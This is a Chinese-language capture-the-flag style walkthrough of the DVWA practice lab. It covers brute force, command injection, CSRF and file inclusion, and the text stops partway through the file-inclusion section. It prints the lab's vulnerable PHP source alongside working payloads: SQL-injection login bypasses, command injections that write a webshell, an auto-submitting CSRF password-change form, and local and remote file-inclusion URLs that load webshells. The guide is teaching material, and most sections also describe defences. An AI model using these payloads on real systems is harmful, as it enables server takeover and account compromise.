DVWA 靶场通关教程

DVWA 靶场通关教程

  • 0X00 前言概述
  • 0X01 环境搭建
  • 0X02 渗透正文
    • (1)暴力破解(Brute Force)
        • Security Level 【LOW】
        • Security Level 【Medium】
        • Security Level 【High】
        • Security Level 【Impossible】
    • (2)命令执行(Command Injection)
        • Security Level 【LOW】
        • Security Level 【Medium】
        • Security Level 【High】
        • Security Level 【Impossible】
    • (3)跨站伪造请求(CSRF)
        • Security Level 【Low】
        • Security Level 【Medium】
        • Security Level 【High】
        • Security Level 【Impossible】
    • (4)文件包含(File Inclusion)
        • Security Level 【LOW】
        • Security Level 【Medium】
        • Security Level 【High】
        • Security Level 【Impossible】
    • (5)文件上传(File Upload)
        • Security Level 【Low】
        • Security Level 【Medium】
        • Security Level 【High】
        • Security Level 【Impossible】
    • (6)不安全的验证码(Insecure CAPTCHA)
        • Security Level 【Low】
        • Security Level 【Miedum】
        • Security Level 【High】
        • Security Level 【Impossible】
    • (7)SQL注入(SQL Injection)
        • Security Level 【Low】
        • Security Level 【Medium】
        • Security Level 【High】
        • Security Level 【Impossible】
    • (8)SQL注入(SQL Injection-Blind)
        • Security Level 【Low】
        • Security Level 【Medium】
        • Security Level 【High】
        • Security Level 【Impossible】
    • (9)弱会话 ID(Weak Session IDs)
        • Security Level 【Low】
        • Security Level 【Medium】
        • Security Level 【High】
        • Security Level 【Impossible】
    • (10)基于 DOM 的跨站脚本(XSS)
        • Security Level 【Low】
        • Security Level 【Medium】
        • Security Level 【High】
        • Security Level 【Impossible】
    • (11)反射跨站脚本(XSS)
        • Security Level 【Low】
        • Security Level 【Medium】
        • Security Level 【High】
        • Security Level 【Impossible】
    • (12)存储跨站脚本(XSS)
        • Security Level 【Low】
        • Security Level 【Medium】
        • Security Level 【High】
        • Security Level 【Impossible】
    • (13)内容安全策略(CSP)绕道
        • Security Level 【Low】
        • Security Level 【Miedum】
        • Security Level 【High】
        • Security Level 【Impossible】
    • (14)JavaScript 攻击
        • Security Level 【Low】
        • Security Level 【Medium】
        • Security Level 【High】
        • Security Level 【Impossible】

0X00 前言概述

该死的易受攻击的 Web 应用程序 (DVWA) 是一个该死的易受攻击的 PHP/MySQL Web 应用程序。它的主要目标是帮助安全专业人员在法律环境中测试他们的技能和工具,帮助 Web 开发人员更好地了解保护 Web 应用程序的过程,并帮助教师/学生在课堂环境中教授/学习 Web 应用程序安全。

0X01 环境搭建

靶机:Windows Server 2008 R2 x64 IP:192.168.6.138
攻击机:Windows 10 IP:192.168.1.4

PHP调试环境的程序集成包(phpStudy):网盘链接 提取码:8vwo
DVWA靶场源码:网盘链接 提取码:affn

0X02 渗透正文

(1)暴力破解(Brute Force)

原理:黑客利用的字典,枚举爆破用户口令,尝试是否能够登录
DVWA 靶场通关教程_第1张图片

Security Level 【LOW】

  • 源码分析:

if( isset( $_GET[ 'Login' ] ) ) {	//检测变量是否已设置
    // Get username
    $user = $_GET[ 'username' ];

    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );	//md5加密

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";	//拼接查询语句
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
'
); if( $result && mysqli_num_rows( $result ) == 1 ) { //查询有结果并且行数为1 // Get users details $row = mysqli_fetch_assoc( $result ); //结果集中取得一行作为关联数组 $avatar = $row["avatar"]; //获得图片地址 // Login successful echo "

Welcome to the password protected area {$user}

"
; echo "{$avatar}\" />"
; } else { // Login failed echo "

Username and/or password incorrect.
"
; } //关闭数据库 ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
  • 靶场实战:
    方法一:使用burpsuite抓包爆破==>
    DVWA 靶场通关教程_第2张图片
    DVWA 靶场通关教程_第3张图片
    代码审计:参数username和password是直接通过GET方式获取,并未做任何过滤,满足if条件(Login变量是否设置)就可以进行参数利用
    漏洞利用:使用burp设置跑参点,加载字典使用穷举法猜解出用户口令
    方法二:使用SQL注入免密登录==>
    DVWA 靶场通关教程_第4张图片代码审计:传参构造的SQL查询语句select * from users where user='$user' and password='$pass'闭合,由于这里传参点并未做任何过滤,可以直接构造SQL查询语句闭合,免密登录
    漏洞利用:构造poc:admin' -- qweadmin' or '1'='1可直接免密

Security Level 【Medium】

  • 源码分析

if( isset( $_GET[ 'Login' ] ) ) {
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));	
	//mysqli_real_escape_string()函数转义 SQL 语句中使用的字符串中的特殊字符(\x00、\n、\r、\、'、"、\x1a)
    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );	//md5加密

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";	//拼接查询语句
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
'
); if( $result && mysqli_num_rows( $result ) == 1 ) { // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful echo "

Welcome to the password protected area {$user}

"
; echo "{$avatar}\" />"
; } else { // Login failed sleep( 2 ); //休眠2秒 echo "

Username and/or password incorrect.
"
; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
  • 靶场实战
    使用burpsuite抓包爆破==>
    DVWA 靶场通关教程_第5张图片
    DVWA 靶场通关教程_第6张图片
    代码审计:在low安全级别的基础上,在username和password的GET传参后利用函数做了数据过滤,对数据库中特殊符号进行转义,能够抵御基本的SQL注入
    漏洞利用:使用burp设置跑参点,加载字典使用穷举法猜解出用户口令

Security Level 【High】

  • 源码分析

if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );	//检查token值

    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );	//去除反斜杠
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );	//md5加密

    // Check database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";	//拼接查询语句
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
'
); if( $result && mysqli_num_rows( $result ) == 1 ) { // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful echo "

Welcome to the password protected area {$user}

"
; echo "{$avatar}\" />"
; } else { // Login failed sleep( rand( 0, 3 ) ); //随机休眠 echo "

Username and/or password incorrect.
"
; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); //产生新token值 ?>
  • 靶场实战:
    使用burpsuite抓包爆破==>
    DVWA 靶场通关教程_第7张图片
    DVWA 靶场通关教程_第8张图片
    代码审计:在Miedum安全级别的基础上,增加了token值校验,不仅防范了CSRF漏洞的利用,也增加了直接爆破的难度
    漏洞利用:使用burp抓取user-token参数,使用Pitchfork模式验证跑包。设置跑参点,加载字典使用穷举法猜解出用户口令(也可以使用python脚本进行跑包)

Security Level 【Impossible】

  • 源码分析:

if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {	//检测变量是否已设置
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );		//校验token值

    // Sanitise username input
    $user = $_POST[ 'username' ];
    $user = stripslashes( $user );	//去除反斜杠
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_POST[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );	//md5加密

    // Default values
    $total_failed_login = 3;	//登录失败次数
    $lockout_time       = 15;	//登录失败时间
    $account_locked     = false;

    // Check the database (Check user information)
    $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // Check to see if the user has been locked out.
    if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
        // User locked out.  Note, using this method would allow for user enumeration!
        //echo "

This account has been locked due to too many incorrect logins.
";
// Calculate when the user would be allowed to login again $last_login = strtotime( $row[ 'last_login' ] ); $timeout = $last_login + ($lockout_time * 60); $timenow = time(); /* print "The last login was: " . date ("h:i:s", $last_login) . "
"; print "The timenow is: " . date ("h:i:s", $timenow) . "
"; print "The timeout is: " . date ("h:i:s", $timeout) . "
"; */
// Check to see if enough time has passed, if it hasn't locked the account if( $timenow < $timeout ) { $account_locked = true; // print "The account is locked
";
} } // Check the database (if username matches the password) $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR); $data->bindParam( ':password', $pass, PDO::PARAM_STR ); $data->execute(); $row = $data->fetch(); // If its a valid login... if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) { // Get users details $avatar = $row[ 'avatar' ]; $failed_login = $row[ 'failed_login' ]; $last_login = $row[ 'last_login' ]; // Login successful echo "

Welcome to the password protected area {$user}

"
; echo "{$avatar}\" />"
; // Had the account been locked out since last login? if( $failed_login >= $total_failed_login ) { echo "

Warning: Someone might of been brute forcing your account.

"
; echo "

Number of login attempts: {$failed_login}.
Last login attempt was at: ${last_login}.

"
; } // Reset bad login count $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); } else { // Login failed sleep( rand( 2, 4 ) ); // Give the user some feedback echo "

Username and/or password incorrect.

Alternative, the account has been locked because of too many failed logins.
If this is the case, please try again in {$lockout_time} minutes.
"
; // Update bad login count $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); } // Set the last login time $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); } // Generate Anti-CSRF token generateSessionToken(); ?>
  • 防御思路:
    设置验证码或者token值,防止暴力破解
    设置登录次数以及失败锁定时间
    过滤用户输入,防止用户恶意传参

(2)命令执行(Command Injection)

原理:用户输入的数据被当做系统命令进行执行
DVWA 靶场通关教程_第9张图片
造成命令执行函数解析(代码审计):

 1、system() 执行命令输出结果
 2、exec() 只会得到结果最后一行
 3、passthru() 执行命令输出结果
 4、shell_exec() 只会得到结果的全部
 5、`` => shell_exec()  //前面的波浪号
 6、$a = popen('whoami','r');echo fread($a,1024);返回的是一个文件指针,需要用fread去读取返回值。

Security Level 【LOW】

  • 源码分析:

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {	//php_uname返回操作系统名称并索字符串在另一字符串中的第一次出现
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );	//执行系统命令
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );	//执行系统命令
    }

    // Feedback for the end user
    echo "
{$cmd}
"
; } ?>
  • 靶场实战:
    构造Poc验证利用==>
    DVWA 靶场通关教程_第10张图片
    代码审计:参数ip获取REQUEST传参,赋值变量target,然后执行系统命令。参数未作任何过滤和规则限制,可以通过构造恶意传参,执行系统命令或者直接传马拿webshell
    漏洞利用
    ①构造Poc:127.0.0.1 | echo %cd%传参获取网页路径(URL栏也可推断)
    DVWA 靶场通关教程_第11张图片
    网页当前路径:E:\phpStudy\WWW\DVWA\vulnerabilities\exec
    ②构造Poc:echo "" > camer.php传参在当前页面写入一句话木马文件
    DVWA 靶场通关教程_第12张图片
    成功获取webshell,可以直接使用webshell管理工具(菜刀、蚁剑等)连接,直接操控服务器

Security Level 【Medium】

  • 源码分析:

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',	//设置黑名单,过滤符号&&和;
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );	//替换符号

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "
{$cmd}
"
; } ?>
  • 靶场实战
    构造Poc验证利用==>
    DVWA 靶场通关教程_第13张图片
    代码审计:通过设置黑名单过滤特殊符号,防御恶意参数的构造,但是仍然可以通过等效符号进行代替绕过黑名单,达到命令执行的效果
    漏洞利用:构造Poc与low安全级别一致,区别在于用等效的符号绕过黑名单,同样达到命令执行的效果,拿webshell,连webshell管理工具,操作服务器

Security Level 【High】

  • 源码分析:


if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',		//黑名单过滤特殊符号
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "
{$cmd}
"
; } ?>
  • 靶场实战
    构造Poc验证利用==>
    DVWA 靶场通关教程_第14张图片
    代码审计:增加了黑名单过滤的特殊符号,但是仍然可以通过等效符号进行代替绕过黑名单,达到命令执行的效果
    漏洞利用:构造Poc与low安全级别一致,区别在于用等效的符号绕过黑名单(源码黑名单过滤|,却没有过滤|),同样达到命令执行的效果,拿webshell,连webshell管理工具,操作服务器

Security Level 【Impossible】

  • 源码分析:


if( isset( $_POST[ 'Submit' ]  ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );		//去除反斜杠

    // Split the IP into 4 octects
    $octet = explode( ".", $target );	//把字符串打散为数组

    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }

        // Feedback for the end user
        echo "
{$cmd}
"
; } else { // Ops. Let the user name theres a mistake echo '
ERROR: You have entered an invalid IP.
'
; } } // Generate Anti-CSRF token generateSessionToken(); ?>
  • 防御思路:
    设置黑名单过滤特殊符号
    替换、转义关键字
    设置白名单,限制传参

(3)跨站伪造请求(CSRF)

原理:指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用
DVWA 靶场通关教程_第15张图片

Security Level 【Low】

  • 源码分析:


if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );	//md5加密

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
'
); //更新数据库 // Feedback for the user echo "
Password Changed.
"
; } else { // Issue with passwords matching echo "
Passwords did not match.
"
; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
  • 靶场实战:
    Burp抓包构造Poc验证利用==>
    DVWA 靶场通关教程_第16张图片
    修改CSRF Poc访问自动触发:
<html>
  
  <body>
  <script>history.pushState('', '', '/')script>
    <form id="test" action="http://192.168.6.138/DVWA/vulnerabilities/csrf/">
      <input type="hidden" name="password_new" value="123" />
      <input type="hidden" name="password_conf" value="123" />
      <input type="hidden" name="Change" value="Change" />
      <input type="submit" value="Submit request" />
    form>
    <script>		//修改成自动触发
	    function hack(){
		    document.getElementById('test').submit();
	    }
	    setTimeout(hack, 100);
	script>
  body>
html>

代码审计:通过两次输入密码的传参校验更新数据库修改密码,传参未作任何限制以及数据过滤,可以构造恶意传参Poc,偷偷修改数据
漏洞利用:通过对修改密码界面的抓包,使用burp直接生成CSRF Poc。当用户在打开修改界面的同时,使用同浏览器访问恶意Poc构成的Html文件,将会偷偷使用用户浏览器偷偷发送数据包修改密码(也可以通过链接的形式http://192.168.6.138/DVWA/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change构造恶意网址,通过短链接生成网址:链接 隐藏传参信息,达到同样目的)

Security Level 【Medium】

  • 源码分析:


if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {	//stripos() 函数查找字符串(REFERER)在另一字符串中第一次出现的位置(不区分大小写)
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));		//过滤特殊符号
            $pass_new = md5( $pass_new );	//md5加密

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
'
); // Feedback for the user echo "
Password Changed.
"
; } else { // Issue with passwords matching echo "
Passwords did not match.
"
; } } else { // Didn't come from a trusted source echo "
That request didn't look correct.
"
; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
  • 靶场实战:
    Burp抓包构造Poc验证利用==>
    DVWA 靶场通关教程_第17张图片
    修改CSRF Poc访问自动触发(文件命名格式:目标服务器IP.html):
<html>
  
  <body>
  <script>history.pushState('', '', '/')script>
    <form id= "test" action="http://192.168.6.138/DVWA/vulnerabilities/csrf/">
      <input type="hidden" name="password_new" value="123" />
      <input type="hidden" name="password_conf" value="123" />
      <input type="hidden" name="Change" value="Change" />
      <input type="submit" value="Submit request" />
    form>
    <script>		//修改成自动触发
	    function hack(){
		    document.getElementById('test').submit();
	    }
	    setTimeout(hack, 100);
	script>
  body>
html>

DVWA 靶场通关教程_第18张图片
拼接URL访问http://192.168.6.138/DVWA/hackable/uploads/192.168.6.138.html,发现偷偷修改了密码
代码审计:通过查询数据包中referer参数是否有目标服务器的SERVER_NAME,来检验是否是用户自己传参修改数据
漏洞利用:由于请求包referer参数有目标服务器决定,只有配合文件上传漏洞,让用户在访问修改密码页面的同时访问恶意文件,用服务器自己发送数据请求,referer达成验证,达到偷偷修改数据的目的

Security Level 【High】

  • 源码分析:


if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );		//校验token值

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));	//过滤特殊符号
        $pass_new = md5( $pass_new );	//md5加密

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
'
); // Feedback for the user echo "
Password Changed.
"
; } else { // Issue with passwords matching echo "
Passwords did not match.
"
; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>
  • 靶场实战:
    XSS+CSRF构造Poc验证利用==>
    ①通过反射型XSS获取用户Cookie
    DVWA 靶场通关教程_第19张图片
    ②使用Cookie免密登录,使用JS获取user-token值
    图示
    ③通过获取的token值构造Poc
    DVWA 靶场通关教程_第20张图片
    用户访问修改页面的同时,访问恶意传参构造的CSRF Poc网址,浏览器将偷偷修改密码
    代码审计:增加user-token验证,每次token值都需要用户身份获取。用来防御CSRF
    漏洞利用:user-token值的产生是通过用户身份请求获取,可以通过XSS漏洞结合利用,获取user-token值,达到偷偷修改数据的目的

Security Level 【Impossible】

  • 源码分析


if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_curr = $_GET[ 'password_current' ];
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Sanitise current password input
    $pass_curr = stripslashes( $pass_curr );
    $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_curr = md5( $pass_curr );

    // Check that the current password is correct
    $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
    $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
    $data->execute();

    // Do both new passwords match and does the current password match the user?
    if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
        // It does!
        $pass_new = stripslashes( $pass_new );
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update database with new password
        $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
        $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
        $data->execute();

        // Feedback for the user
        echo "
Password Changed.
"
; } else { // Issue with passwords matching echo "
Passwords did not match or current password incorrect.
"
; } } // Generate Anti-CSRF token generateSessionToken(); ?>
  • 防御思路:
    加入了PDO预编译语句防止SQL注入
    使用token值校验
    要求用户输入原密码,增加校验安全性

(4)文件包含(File Inclusion)

原理:File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)
造成文件包含函数解析:

 include() //用到临时加载 (临时加载然后使用)[不影响整体]
 include_once() //检测之前是否包含过,如果有就不包含了
 require() //先加载,然后整合原有代码,然后一齐执行[影响整体]
 require_once() //检测之前是否包含过,如果有就不包含了

文件包含分类:

  本地文件包含(LFI) => 在目标机器上,上传文件马然后包含
  远程文件包含(RFI) => 访问外网的某个文件,然后包含hack.txt(一句话木马)默认情况下,远程文件包含不开启,必须修改配置文件:allow_url_include = On(远程文件包含)

Security Level 【LOW】

  • 源码分析

// The page we wish to display
$file = $_GET[ 'page' ];	//传参改变访问页面
?>
  • 靶场实战:
    方法一:本地包含拿webshell==>
    ①制作图片马
    DVWA 靶场通关教程_第21张图片
    ②通过文件上传漏洞上传木马
    图示
    通过文件上传,上传木马文件,并获取文件路径:../../hackable/uploads/hacker.jpg
    DVWA 靶场通关教程_第22张图片
    拼接路径访问http://192.168.6.138/DVWA/vulnerabilities/fi/?page=../../hackable/uploads/hacker.jpg&8=phpinfo();,验证发现获取webshell
    代码审计:通过改变page的传参获取文件内容,变量page未作任何过滤以及传参规则,可控传参(allow_url_include开启)
    漏洞利用:通过文件上传,上传图片马,配合文件包含漏洞解析图片马,获取webshell,如果要连接webshell管理工具,可以使用图片马+file_put_contents函数构造Poc写一个php后缀木马文件
    http://192.168.6.138/DVWA/vulnerabilities/fi/?page=../../hackable/uploads/hacker.jpg&8=file_put_contents('hacker.php','');
    DVWA 靶场通关教程_第23张图片
    菜刀直接连接http://192.168.6.138/DVWA/vulnerabilities/fi/hacker.php,成功获取webshell
    方法二:远程包含拿webshell==>
    通过访问远程服务器上的木马文件,包含远程木马文件
    Poc:http://192.168.6.138/DVWA/vulnerabilities/fi/?page=http://192.168.6.141/hacker.txt&8=phpinfo();
    DVWA 靶场通关教程_第24张图片
    代码审计:通过改变page的传参获取文件内容,变量page未作任何过滤以及传参规则,可控传参(allow_url_fopen开启)
    漏洞利用:通过远程服务器的木马文件(不可为.php后缀,否则解析出来的是远程服务器信息),通过目标服务器的文件包含漏洞进行文件解析,获取目标服务器的webshell

Security Level 【Medium】

  • 源码分析:


// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
